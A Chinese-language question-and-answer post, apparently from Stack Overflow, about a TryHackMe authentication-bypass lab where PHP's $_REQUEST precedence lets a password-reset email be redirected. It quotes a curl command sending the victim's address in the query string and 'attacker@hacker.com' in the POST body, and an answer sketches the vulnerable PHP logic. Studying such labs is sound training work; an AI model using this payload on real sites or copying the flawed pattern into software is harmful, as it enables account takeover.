这是一个关于网络安全的问题
大家好,我正在用tryhackme.com学习tryhackme.com(身份验证旁路)房间,我在php中遇到了$_REQUEST方法。
在继续之前,只是想说清楚.这里我们要让网站将reset password 发送到我们自己的电子邮件
我们使用的命令curl http://MACHINE_IP/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=attacker@hacker.com'
首先,为什么我们需要username在POST??以及为什么我们没有在query string中使用它
第二
我不明白的是,这应该如何将密码重定向到attacker@hacker.com
特姆说
The PHP $_REQUEST variable is an array that contains data received from the query string and POST data. If the same key name is used for both the query string and POST data, the application logic for this variable favours POST data fields rather than the query string, so if we add another parameter to the POST form, we can control where the password reset email gets delivered
这意味着$_REQUEST php方法将选择POST而不是查询字符串。我对此没意见。但是如果它真的选择了POST,那么它应该在电子邮件字段中输入:attacker@hacker.com (因为它选择了POST方式),但是电子邮件并不存在!所以应该说Account not found from supplied email address,而不是.它将密码重定向到我们的电子邮件!?
感谢您的阅读。房间链接以防您需要https://tryhackme.com/room/authenticationbypass
发布于 2022-10-09 09:44:52
您尚未共享的代码可能会执行如下操作:
$reset_token = make_reset_token_for($_GET['email');
send_reset_token_to($reset_token, $_REQUEST['email']);因此,它读取电子邮件地址以从查询字符串生成重置令牌(并更新数据库中该电子邮件地址的帐户信息),然后将重置令牌发送到请求主体中的电子邮件地址(这是攻击者的地址,而不是帐户所有者的地址)。
这样攻击者就可以使用重置令牌更改帐户所有者的密码,然后登录到他们的帐户。
https://stackoverflow.com/questions/74003422
复制相似问题